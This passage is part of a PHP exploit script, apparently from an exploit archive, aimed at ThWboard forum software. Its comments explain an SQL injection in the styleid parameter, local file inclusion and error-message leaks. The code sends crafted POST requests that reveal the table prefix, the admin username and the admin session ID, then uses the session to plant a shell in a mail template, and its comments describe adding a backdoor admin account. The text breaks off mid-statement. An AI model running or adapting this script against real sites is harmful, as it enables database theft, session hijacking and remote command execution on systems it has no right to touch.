126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
}
$host=$argv[1];
$path=$argv[2];
$action=(int)$argv[3];
if (($action<>1) and ($action<>2)){die("wrong action...");}
$port=80;
$proxy="";
$argu="";
$admin_add=0;
for ($i=4; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P") and ($temp<>"-a")) {$argu.=" ".$argv[$i];}
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
$tmp=explode(":",$proxy);
$your_ip=$tmp[0];
}
if ($action==1){
if ($temp=="-a"){
$admin_add=1;
}
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
function my_encode($my_string)
{
$encoded="CHAR(";
for ($k=0; $k<=strlen($my_string)-1; $k++)
{
$encoded.=ord($my_string[$k]);
if ($k==strlen($my_string)-1) {$encoded.=")";}
else {$encoded.=",";}
}
return $encoded;
}
/*
download link: http://www.thwboard.de/downloads.php
explaination:
sql injection in /inc/header.inc.php near lines 535-560 ($board[styleid] var):
...
if(empty($board['styleid']))
{
if(isset($g_user['styleid']))
{
$board['styleid'] = $g_user['styleid'];
}
else
{
$board['styleid'] = STYLE_DEFAULT;
}
}
if( $board['styleid'] == STYLE_DEFAULT )
{
$r_style = thwb_query("SELECT styleid, styletemplate, colorbg, color1, CellA, CellB, color4, colorbgfont, col_he_fo_font, color_err,
col_link, col_link_v, col_link_hover, stdfont,
boardimage, newtopicimage, border_col FROM
".$pref."style WHERE styleisdefault=1");
}
else
{
$r_style = thwb_query("SELECT styleid, styletemplate, colorbg, color1, CellA, CellB, color4, colorbgfont, col_he_fo_font, color_err,
col_link, col_link_v, col_link_hover, stdfont,
boardimage, newtopicimage, border_col FROM
".$pref."style WHERE styleid=$board[styleid]");
}
...
( we have this code also in /inc/header.inc.php near lines 74-83:
...
if( !empty($_REQUEST) )
extract($_REQUEST, EXTR_SKIP);
if( get_magic_quotes_gpc() )
{
$HTTP_GET_VARS = r_stripslashes($HTTP_GET_VARS);
$HTTP_POST_VARS = r_stripslashes($HTTP_POST_VARS);
$HTTP_COOKIE_VARS = r_stripslashes($HTTP_COOKIE_VARS);
$GLOBALS = r_stripslashes($GLOBALS);
}
...
so, this works regardless of php.ini settings
the extract() one turn register_globals =on on undefinied vars
the second one turn magic_quotes off
)
also the styletemplate value of returned array is used to include files locally
near lines 648-651:
...
if( file_exists('./templates/' . $style['styletemplate'] . '/dynamic.inc.php') )
{
@include('./templates/' . $style['styletemplate'] . '/dynamic.inc.php');
}
...
so this can used to execute command even if the supplied value is like
'../templates/mail/newreply.mail[null char]'
and if you insert some code in newreply.mail file as admin
query errors and failed includes are showned at screen so you can have the table prefix
and you can extract hashes and session ids from the database:
...
ThWboard Error
MySQL: Errore di sintassi nella query SQL vicino
'mphhhh.../*' linea 4
Query: SELECT styleid, styletemplate, colorbg, color1, CellA, CellB, color4, co
orbgfont, col_he_fo_font, color_err,
col_link, col_link_v, col_link_hover, stdfont,
boardimage, newtopicimage, border_col FROM
tb_style WHERE styleid=[your input]]
...
Template error:
unable to load template file: 'templates/[your input]/frame.html' does not exist.
...
finally you do not need to decrypt md5 hashes, you can perform some action as admin
by stealing the session id stored in the database, this one has ten minutes life
and is renewed every time an "admin action" is performed by the legitimate
admin user or by the attacker, also is not deleted after he does logout
this exploit tries to launch commands during the admin session id lifetime,
if succeeded you can additionally add a new admin with username 'suntzu' and password 'suntzu'
(action 1) otherwise you can perform action 2 to disclose the hash of a certain user
which is used inside cookies to authenticate him to the board (but not to the admin section, if the
hash is the admin user one)
*/
//disclose table prefix...
$data ="-----------------------------7d61bcd1f033e\r\n";
$data.="Content-Disposition: form-data; name=\"board[styleid]\";\r\n\r\n";
$data.="999999/**/mphhhh.../*\r\n";
$data.="-----------------------------7d61bcd1f033e--\r\n";
$packet ="POST ".$p."index.php HTTP/1.0\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d61bcd1f033e\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
if (!eregi("ThWboard Error
",$html)){die("not vulnerable...");}
$temp=explode("border_col FROM\n",$html);
$temp2=explode("style WHERE",$temp[1]);
$prefix=trim($temp2[0]);
echo "table prefix -> ".$prefix."\n";
if ($action ==1){
//disclose admin username...
$SQL="9999999/**/UNION/**/SELECT/**/null,username,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null/**/FROM/**/".$prefix."user/**/WHERE/**/userisadmin=1/*";
$data ="-----------------------------7d61bcd1f033e\r\n";
$data.="Content-Disposition: form-data; name=\"board[styleid]\";\r\n\r\n";
$data.="$SQL\r\n";
$data.="-----------------------------7d61bcd1f033e--\r\n";
$packet ="POST ".$p."index.php HTTP/1.0\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d61bcd1f033e\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
if (eregi("ThWboard Error
",$html)){echo $html; die("\n\nquery error... see html");}
$temp=explode("templates/",$html);
$temp2=explode("/",$temp[1]);
$admin=$temp2[0];
echo "admin -> ".$admin."\n";
if ($admin==""){echo $html; die("\nerror...see html\n");}
//if already executed and new admin added, use the suntzu user session id
$SQL="9999999/**/UNION/**/SELECT/**/null,sessionid,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null/**/FROM/**/".$prefix."session/**/WHERE/**/username=".my_encode("suntzu")."/*";
$data ="-----------------------------7d61bcd1f033e\r\n";
$data.="Content-Disposition: form-data; name=\"board[styleid]\";\r\n\r\n";
$data.="$SQL\r\n";
$data.="-----------------------------7d61bcd1f033e--\r\n";
$packet ="POST ".$p."index.php HTTP/1.0\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d61bcd1f033e\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
$temp=explode("templates/",$html);
$temp2=explode("/",$temp[1]);
$sess_id=$temp2[0];
if ($sess_id<>""){
echo "session id -> ".$sess_id."\n";
}
else
{
//disclose session id...
$SQL="9999999/**/UNION/**/SELECT/**/null,sessionid,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null/**/FROM/**/".$prefix."session/**/WHERE/**/username=".my_encode(trim($admin))."/*";
$data ="-----------------------------7d61bcd1f033e\r\n";
$data.="Content-Disposition: form-data; name=\"board[styleid]\";\r\n\r\n";
$data.="$SQL\r\n";
$data.="-----------------------------7d61bcd1f033e--\r\n";
$packet ="POST ".$p."index.php HTTP/1.0\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d61bcd1f033e\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
$temp=explode("templates/",$html);
$temp2=explode("/",$temp[1]);
$sess_id=$temp2[0];
echo "session id -> ".$sess_id."\n";
}
if ($sess_id==""){echo $html; die("\nerror...see html\n");}
//inject shell...
$shell="";
$data ="-----------------------------7d61bcd1f033e\r\n";
$data.="Content-Disposition: form-data; name=\"session\";\r\n\r\n";
$data.="$sess_id\r\n";
$data.="-----------------------------7d61bcd1f033e\r\n";
$data.="Content-Disposition: form-data; name=\"action\";\r\n\r\n";
$data.="save_newreply\r\n";
$data.="-----------------------------7d61bcd1f033e\r\n";
$data.="Content-Disposition: form-data; name=\"new_newreply\";\r\n\r\n";
$data.="$shell\r\n";
$data.="-----------------------------7d61bcd1f033e--\r\n";
$packet ="POST ".$p."admin/mails.php HTTP/1.0\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d61bcd1f033e\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
echo "editing newreply.mail file...\n";
if (eregi("